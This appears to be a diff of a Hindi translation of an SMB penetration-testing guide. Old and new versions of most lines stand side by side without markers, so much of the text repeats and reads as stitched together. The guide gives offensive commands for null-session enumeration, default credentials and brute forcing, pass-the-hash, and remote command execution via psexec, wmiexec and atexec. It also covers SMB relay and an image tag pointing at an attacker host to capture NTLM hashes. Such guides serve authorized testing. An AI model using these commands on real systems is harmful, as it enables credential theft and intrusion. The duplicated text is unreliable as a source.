IPC$ share तक पहुँच anonymous null session के माध्यम से प्राप्त की जा सकती है, जो named pipes के जरिए एक्सपोज़ की गई सेवाओं के साथ इंटरैक्शन की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही ढंग से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
|
||||
|
||||
- ऑपरेटिंग सिस्टम के बारे में जानकारी
|
||||
- ऑपरेटिंग सिस्टम की जानकारी
|
||||
- parent domain के विवरण
|
||||
- स्थानीय उपयोगकर्ताओं और समूहों की सूची
|
||||
- स्थानीय users और groups की एक सूची
|
||||
- उपलब्ध SMB shares की जानकारी
|
||||
- प्रभावी सिस्टम सुरक्षा नीति
|
||||
- प्रभावी सिस्टम security policy
|
||||
|
||||
यह कार्यक्षमता नेटवर्क व्यवस्थापकों और सुरक्षा पेशेवरों के लिए नेटवर्क पर SMB (Server Message Block) सेवाओं की सुरक्षा स्थिति का आकलन करने के लिए महत्वपूर्ण है। `enum4linux` लक्ष्य प्रणाली के SMB परिवेश का व्यापक दृश्य प्रदान करती है, जो संभावित कमजोरियों की पहचान करने और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ सही ढंग से सुरक्षित हैं।
|
||||
यह कार्यक्षमता नेटवर्क प्रशासकों और सुरक्षा पेशेवरों के लिए नेटवर्क पर SMB (Server Message Block) सेवाओं की सुरक्षा स्थिति का आकलन करने के लिए महत्वपूर्ण है। `enum4linux` लक्ष्य प्रणाली के SMB वातावरण का एक व्यापक दृश्य प्रदान करता है, जो संभावित कमजोरियों की पहचान और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ ठीक से सुरक्षित हैं।
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
ऊपर दिया गया कमांड एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण enumeration करने के लिए कैसे किया जा सकता है।
|
||||
ऊपर दिया गया कमांड यह उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ एक पूर्ण enumeration करने के लिए कैसे किया जा सकता है।
|
||||
|
||||
## NTLM क्या है
|
||||
|
||||
यदि आप नहीं जानते कि NTLM क्या है या आप यह जानना चाहते हैं कि यह कैसे काम करता है और इसे कैसे दुरुपयोग किया जा सकता है, तो आप इस पेज को बहुत रोचक पाएँगे जो **NTLM** के बारे में है जहाँ यह समझाया गया है **कि यह प्रोटोकॉल कैसे काम करता है और आप इसका कैसे लाभ उठा सकते हैं:**
|
||||
यदि आप NTLM के बारे में नहीं जानते हैं या आप यह जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप इस पृष्ठ को बहुत ही दिलचस्प पाएँगे जिसमें **NTLM** के बारे में बताया गया है और इसमें स्पष्ट किया गया है कि **यह प्रोटोकॉल कैसे काम करता है और आप इससे कैसे लाभ उठा सकते हैं:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Server Enumeration**
|
||||
## **सर्वर Enumeration**
|
||||
|
||||
### **Scan**: नेटवर्क में hosts खोजें:
|
||||
### **Scan** नेटवर्क में होस्ट खोजने के लिए:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB सर्वर संस्करण
|
||||
|
||||
SMB संस्करण के संभावित exploits खोजने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। अगर यह जानकारी अन्य tools में नहीं दिखती है, तो आप:
|
||||
SMB संस्करण के संभावित exploits की तलाश करने के लिए यह जानना ज़रूरी है कि कौन-सा संस्करण इस्तेमाल किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए tools में नहीं दिखती, तो आप कर सकते हैं:
|
||||
|
||||
- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` का उपयोग करें
|
||||
- या इस स्क्रिप्ट:
|
||||
- उपयोग करें **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
|
||||
- या यह script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -75,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **exploit खोजें**
|
||||
### **खोजें exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **संभव** प्रमाण-पत्र
|
||||
### **संभावित** क्रेडेंशियल्स
|
||||
|
||||
| **उपयोगकर्ता नाम** | **सामान्य पासवर्ड** |
|
||||
| **Username(s)** | **Common passwords** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
@ -96,7 +96,7 @@ searchsploit microsoft smb
|
||||
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### SMB वातावरण जानकारी
|
||||
### SMB Environment Information
|
||||
|
||||
### जानकारी प्राप्त करें
|
||||
```bash
|
||||
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### उपयोगकर्ताओं, समूहों और लॉग्ड-ऑन उपयोगकर्ताओं को सूचीबद्ध करें
|
||||
### उपयोगकर्ताओं, समूहों और लॉग-ऑन उपयोगकर्ताओं को सूचीबद्ध करें
|
||||
|
||||
यह जानकारी पहले से enum4linux और enum4linux-ng से एकत्र की जा चुकी होनी चाहिए।
|
||||
```bash
|
||||
@ -140,17 +140,17 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
एक-पंक्ति कमांड
|
||||
वन-लाइनर
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - स्थानीय उपयोगकर्ताओं की सूची
|
||||
### Metasploit - स्थानीय उपयोगकर्ताओं को सूचीबद्ध करना
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **LSARPC और SAMR rpcclient का सूचीकरण**
|
||||
### **LSARPC और SAMR rpcclient का एन्यूमरेशन**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -163,15 +163,15 @@ rpcclient-enumeration.md
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### फ़ाइल ब्राउज़र विंडो में (nautilus, thunar, etc)
|
||||
#### फाइल ब्राउज़र विंडो में (nautilus, thunar, आदि)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## साझा फ़ोल्डरों का सूचीकरण
|
||||
## साझा फ़ोल्डरों का एन्यूमरेशन
|
||||
|
||||
### साझा फ़ोल्डरों की सूची
|
||||
|
||||
यह हमेशा सलाह दी जाती है कि जांचें कि क्या आप किसी चीज़ तक पहुँच सकते हैं; यदि आपके पास credentials नहीं हैं तो **null** **credentials/guest user** का उपयोग करने का प्रयास करें।
|
||||
हमेशा यह सलाह दी जाती है कि देखें कि क्या आप किसी भी चीज़ तक पहुँच सकते हैं। अगर आपके पास credentials नहीं हैं, तो **null** **credentials/guest user** का उपयोग करने का प्रयास करें।
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **साझा फ़ोल्डर से कनेक्ट/सूची दिखाना**
|
||||
### **एक साझा फ़ोल्डर जोड़ें/सूचीबद्ध करें**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **मैन्युअली windows शेयरों को सूचीबद्ध करें और उनसे कनेक्ट करें**
|
||||
### **मैन्युअली windows shares को enumerate करें और उनसे कनेक्ट करें**
|
||||
|
||||
यह संभव है कि होस्ट मशीन के शेयर दिखाने पर आपको प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करें तो ऐसा लगे कि जुड़ने के लिए कोई शेयर मौजूद ही नहीं है। इसलिए किसी शेयर से मैन्युअली कनेक्ट करने की एक छोटी कोशिश करना फायदेमंद हो सकता है। शेयरों को मैन्युअली सूचीबद्ध करने के लिए, जब आप कोई वैध सत्र (e.g. null session या valid credentials) उपयोग कर रहे हों, तो आपको NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाएँ देखनी चाहिए। ये संकेत दे सकती हैं कि शेयर मौजूद है लेकिन आपके पास एक्सेस नहीं है, या शेयर बिल्कुल मौजूद ही नहीं है।
|
||||
संभव है कि आपको होस्ट मशीन के किसी भी शेयर को दिखाने से रोक दिया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं तो ऐसा लगे कि कनेक्ट करने के लिए कोई शेयर ही नहीं हैं। इसलिए किसी शेयर से मैन्युअली कनेक्ट करने की एक छोटी कोशिश करना उपयोगी हो सकता है। Shares को मैन्युअली enumerate करने के लिए आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसे responses की तलाश कर सकते हैं, जब आप किसी valid session (e.g. null session or valid credentials) का उपयोग कर रहे हों। ये संकेत दे सकते हैं कि शेयर मौजूद है लेकिन आपका access नहीं है या शेयर बिल्कुल मौजूद ही नहीं है।
|
||||
|
||||
Common share names for windows targets are
|
||||
|
||||
@ -214,7 +214,7 @@ Common share names for windows targets are
|
||||
|
||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
|
||||
आप इनसे कनेक्ट करने के लिए निम्नलिखित कमांड आज़मा सकते हैं
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
@ -241,7 +241,7 @@ done
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windows से शेयरों की सूची प्राप्त करें / थर्ड-पार्टी टूल्स के बिना**
|
||||
### **Windows से शेयरों को सूचीबद्ध करें / तृतीय-पक्ष टूल्स के बिना**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -260,23 +260,23 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (ग्राफिकल)
|
||||
MMC स्नैप-इन (ग्राफिकल)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (ग्राफिकल) में `\\<ip>\` दर्ज करें ताकि उपलब्ध गैर-छिपे शेयर दिखें।
|
||||
explorer.exe (ग्राफिकल), `\\<ip>\` दर्ज करें ताकि उपलब्ध non-hidden shares दिखाई दें।
|
||||
|
||||
### साझा फ़ोल्डर माउंट करना
|
||||
### एक shared folder माउंट करें
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **डाउनलोड फ़ाइलें**
|
||||
### **डाउनलोड फाइलें**
|
||||
|
||||
कनेक्ट करने के लिए credentials/Pass-the-Hash का उपयोग कैसे करें यह जानने के लिए पिछले अनुभाग पढ़ें।
|
||||
पिछले अनुभाग पढ़ें ताकि आप credentials/Pass-the-Hash के साथ कनेक्ट करना सीख सकें।
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -293,12 +293,12 @@ smbclient //<IP>/<share>
|
||||
```
|
||||
कमांड:
|
||||
|
||||
- mask: उस mask को निर्दिष्ट करता है जिसका उपयोग डायरेक्टरी के भीतर फाइलों को फ़िल्टर करने के लिए किया जाता है (उदा. "" सभी फाइलों के लिए)
|
||||
- recurse: recursion को चालू/बंद करता है (डिफ़ॉल्ट: बंद)
|
||||
- prompt: फ़ाइल नामों के लिए prompting को बंद करता है (डिफ़ॉल्ट: चालू)
|
||||
- mget: होस्ट से क्लाइंट मशीन पर mask से मेल खाने वाली सभी फाइलें कॉपी करता है
|
||||
- mask: निर्देशिका के भीतर फ़ाइलों को फ़िल्टर करने के लिए उपयोग की जाने वाली mask को निर्दिष्ट करता है (e.g. "" for all files)
|
||||
- recurse: recursion को चालू करता है (डिफ़ॉल्ट: off)
|
||||
- prompt: फ़ाइल नामों के लिए prompting को बंद करता है (डिफ़ॉल्ट: on)
|
||||
- mget: होस्ट से क्लाइंट मशीन पर mask से मेल खाने वाली सभी फ़ाइलें कॉपी करता है
|
||||
|
||||
(_जानकारी smbclient के manpage से_)
|
||||
(_smbclient के manpage से जानकारी_)
|
||||
|
||||
### डोमेन साझा फ़ोल्डरों की खोज
|
||||
|
||||
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Shares में विशेष रूप से दिलचस्प फ़ाइलें वे हैं जिन्हें **`Registry.xml`** कहा जाता है क्योंकि इनमें **autologon** के माध्यम से **Group Policy** के तहत कॉन्फ़िगर किए गए users के पास **पासवर्ड** हो सकते हैं। या **`web.config`** फ़ाइलें क्योंकि उनमें credentials होते हैं।
|
||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
||||
|
||||
> [!TIP]
|
||||
> **SYSVOL share** डोमेन के सभी प्रमाणीकृत उपयोगकर्ताओं के लिए **readable** होता है। वहां आप कई अलग-अलग batch, VBScript, और PowerShell **scripts** पा सकते हैं।\
|
||||
> आपको उसके अंदर की **scripts** जरूर **check** करनी चाहिए क्योंकि आप sensitive जानकारी जैसे कि **पासवर्ड** पा सकते हैं।
|
||||
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||
|
||||
## रजिस्ट्री पढ़ें
|
||||
|
||||
आप कुछ खोजे गए credentials का उपयोग करके **रजिस्ट्री पढ़** सकते हैं। Impacket **`reg.py`** आपको यह आज़माने की अनुमति देता है:
|
||||
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -328,35 +328,35 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
The **डिफ़ॉल्ट कॉन्फ़िग** एक **Samba** सर्वर का आमतौर पर `/etc/samba/smb.conf` में स्थित होता है और इसमें कुछ **खतरनाक कॉन्फ़िग्स** हो सकते हैं:
|
||||
The **डिफ़ॉल्ट कॉन्फ़िगरेशन** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **खतरनाक कॉन्फ़िग्स**:
|
||||
|
||||
| **Setting** | **Description** |
|
||||
| **सेटिंग** | **विवरण** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की लिस्टिंग की अनुमति है? |
|
||||
| `read only = no` | क्या फाइलों के निर्माण और संशोधन को प्रतिबंधित करता है? |
|
||||
| `writable = yes` | क्या उपयोगकर्ताओं को फाइलें बनाने और संशोधित करने की अनुमति देता है? |
|
||||
| `guest ok = yes` | क्या पासवर्ड का उपयोग किए बिना सेवा से कनेक्ट करने की अनुमति देता है? |
|
||||
| `enable privileges = yes` | क्या किसी विशेष SID को असाइन किए गए अधिकारों का सम्मान करता है? |
|
||||
| `create mask = 0777` | नए बनाए गए फाइलों को किन अनुमतियों को सौंपा जाना चाहिए? |
|
||||
| `directory mask = 0777` | नए बनाए गए डायरेक्टरीज़ को किन अनुमतियों को सौंपा जाना चाहिए? |
|
||||
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची दिखाने की अनुमति देता है? |
|
||||
| `read only = no` | क्या फ़ाइलों का निर्माण और संशोधन रोकता है? |
|
||||
| `writable = yes` | क्या उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति देता है? |
|
||||
| `guest ok = yes` | क्या पासवर्ड के बिना सेवा से कनेक्ट करने की अनुमति देता है? |
|
||||
| `enable privileges = yes` | क्या विशेष SID को सौंपे गए अधिकारों का सम्मान करता है? |
|
||||
| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से permissions असाइन किए जाने चाहिए? |
|
||||
| `directory mask = 0777` | नए बनाए गए डिरेक्टरीज़ को कौन से permissions असाइन किए जाने चाहिए? |
|
||||
| `logon script = script.sh` | किस स्क्रिप्ट को उपयोगकर्ता के लॉगिन पर चलाया जाना चाहिए? |
|
||||
| `magic script = script.sh` | जब स्क्रिप्ट बंद हो जाती है तो कौन सी स्क्रिप्ट चलानी चाहिए? |
|
||||
| `magic output = script.out` | magic script का आउटपुट कहाँ स्टोर किया जाना चाहिए? |
|
||||
| `magic script = script.sh` | जब स्क्रिप्ट बंद हो जाए तो किस स्क्रिप्ट को चलाना चाहिए? |
|
||||
| `magic output = script.out` | magic script के आउटपुट को कहाँ स्टोर किया जाना चाहिए? |
|
||||
|
||||
The command `smbstatus` gives information about the **सर्वर** and about **कौन जुड़ा हुआ है**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
## Kerberos का उपयोग करके प्रमाणीकरण
|
||||
|
||||
आप **प्रमाणीकृत** कर सकते हैं **Kerberos** का उपयोग करके टूल्स **smbclient** और **rpcclient**:
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Execute Commands**
|
||||
## **कमांड निष्पादित करें**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec कमांड चला सकता है **abusing** किसी भी **mmcexec, smbexec, atexec, wmiexec** का उपयोग करके, जहाँ **wmiexec** **default** मेथड है। आप `--exec-method` पैरामीटर के साथ यह निर्दिष्ट कर सकते हैं कि आप किस विकल्प का उपयोग करना पसंद करते हैं:
|
||||
crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** में से किसी का **abusing** कर के कमांड निष्पादित कर सकता है, जहाँ **wmiexec** **default** method है। आप `--exec-method` parameter के साथ यह संकेत कर सकते हैं कि आप किस option का उपयोग करना चाहेंगे:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
दोनों विकल्प पीड़ित मशीन पर _\pipe\svcctl_ (SMB के माध्यम से) का उपयोग करके **एक नई सर्विस बनाएंगे** और उसे किसी चीज़ को **execute** करने के लिए उपयोग करेंगे (**psexec** एक executable फ़ाइल ADMIN$ share पर **upload** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इंगित करेगा और arguments में payload रखेगा --**file-less technique-**-).\
|
||||
**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali** में यह स्थित है /usr/share/doc/python3-impacket/examples/
|
||||
दोनों विकल्प पीड़ित मशीन में SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके **एक नई सेवा बनाएँगे** और इसका उपयोग **कुछ निष्पादित करने के लिए** करेंगे (**psexec** एक executable file को ADMIN$ share पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर पॉइंट करेगा और arguments में payload डालेगा --**file-less technique-**-).\
|
||||
**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -390,19 +390,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**parameter**`-k` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ authenticate कर सकते हैं
|
||||
**पैरामीटर**`-k` का उपयोग करके आप **NTLM** की बजाय **kerberos** के साथ प्रमाणीकृत कर सकते हैं
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
DCOM के माध्यम से **port 135.** का उपयोग करते हुए डिस्क को छुए बिना या कोई नया service चलाए बिना गुप्त रूप से एक command shell चलाएँ।\
|
||||
**kali** में यह स्थित है /usr/share/doc/python3-impacket/examples/
|
||||
डिस्क को छुए बिना या कोई नया service चलाए बिना DCOM के माध्यम से चुपके से एक command shell चलाएँ **port 135.**\
|
||||
यह **kali** में /usr/share/doc/python3-impacket/examples/ पर स्थित है/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
आप **पैरामीटर** `-k` का उपयोग करके **kerberos** के साथ प्रमाणीकृत कर सकते हैं, **NTLM** के बजाय।
|
||||
**पैरामीटर**`-k` का उपयोग करके आप **NTLM** की बजाय **kerberos** के साथ प्रमाणीकृत कर सकते हैं।
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -411,8 +411,8 @@ DCOM के माध्यम से **port 135.** का उपयोग क
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Task Scheduler के माध्यम से कमांड निष्पादित करें (_\pipe\atsvc_ का उपयोग करके, SMB के माध्यम से).\
|
||||
यह **kali** में /usr/share/doc/python3-impacket/examples/ पर स्थित है
|
||||
Task Scheduler के माध्यम से कमांड चलाएँ (SMB के जरिए _\pipe\atsvc_ का उपयोग करके).\
|
||||
**kali** में यह स्थित है: /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
@ -429,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
|
||||
**यह अनुशंसित नहीं है; यदि आप अधिकतम अनुमत प्रयासों से अधिक करते हैं तो खाता ब्लॉक हो सकता है।**
|
||||
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक कोशिश करते हैं तो आप किसी खाते को ब्लॉक कर सकते हैं**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
यह हमला Responder toolkit का उपयोग करके आंतरिक नेटवर्क पर **capture SMB authentication sessions** करने और उन्हें **relays** करके एक **target machine** पर भेजने के लिए किया जाता है। यदि authentication **session is successful** होता है, तो यह अपने आप आपको एक **system** **shell** में डाल देगा।\
|
||||
यह हमला Responder toolkit का उपयोग करके आंतरिक नेटवर्क पर **capture SMB authentication sessions** को पकड़ता है, और उन्हें **relays** करके एक **target machine** पर भेजता है। यदि authentication **session सफल होता है**, तो यह स्वतः ही आपको एक **system** **shell** में डाल देगा।\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows लाइब्रेरी URLMon.dll स्वतः ही host को authenticate करने की कोशिश करती है जब कोई पेज SMB के माध्यम से किसी content तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से host के साथ authenticate करने की कोशिश करती है जब कोई पेज SMB के माध्यम से किसी कंटेंट तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
This happens with the functions:
|
||||
|
||||
@ -460,11 +460,11 @@ Which are used by some browsers and tools (like Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
SMB Trapping के समान, target system पर malicious files प्लांट करने से (उदाहरण के लिए SMB के जरिए) एक SMB authentication attempt हो सकता है, जिससे NetNTLMv2 hash को Responder जैसे tool के साथ intercept किया जा सकता है। फिर उस hash को offline crack किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
|
||||
SMB Trapping के समान, लक्ष्य सिस्टम पर (उदाहरण के लिए SMB के माध्यम से) malicious फाइलें रखकर एक SMB authentication प्रयास उत्पन्न किया जा सकता है, जिससे NetNTLMv2 hash को Responder जैसे tool से intercept किया जा सकता है। इसके बाद उस hash को offline में crack किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks स्वचालित कमांड
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
||||
@ -1,16 +1,16 @@
|
||||
# ksmbd आक्रमण सतह & SMB2/SMB3 प्रोटोकॉल fuzzing (syzkaller)
|
||||
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## अवलोकन
|
||||
यह पृष्ठ syzkaller का उपयोग करके Linux in-kernel SMB server (ksmbd) को टेस्ट और fuzz करने की व्यावहारिक तकनीकों का सार प्रस्तुत करता है। यह configuration के माध्यम से प्रोटोकॉल आक्रमण सतह को बढ़ाने, stateful harness बनाने जो SMB2 operations को chain कर सके, grammar-valid PDUs जनरेट करने, weakly-covered code paths में mutations को bias करने, और syzkaller की सुविधाओं जैसे focus_areas और ANYBLOB का उपयोग करने पर केंद्रित है। जबकि मौलिक रिसर्च में specific CVEs सूचीबद्ध हैं, यहाँ हम पुन: उपयोग योग्य methodology और concrete snippets पर जोर देते हैं जिन्हें आप अपने setups के लिए अनुकूलित कर सकते हैं।
|
||||
## Overview
|
||||
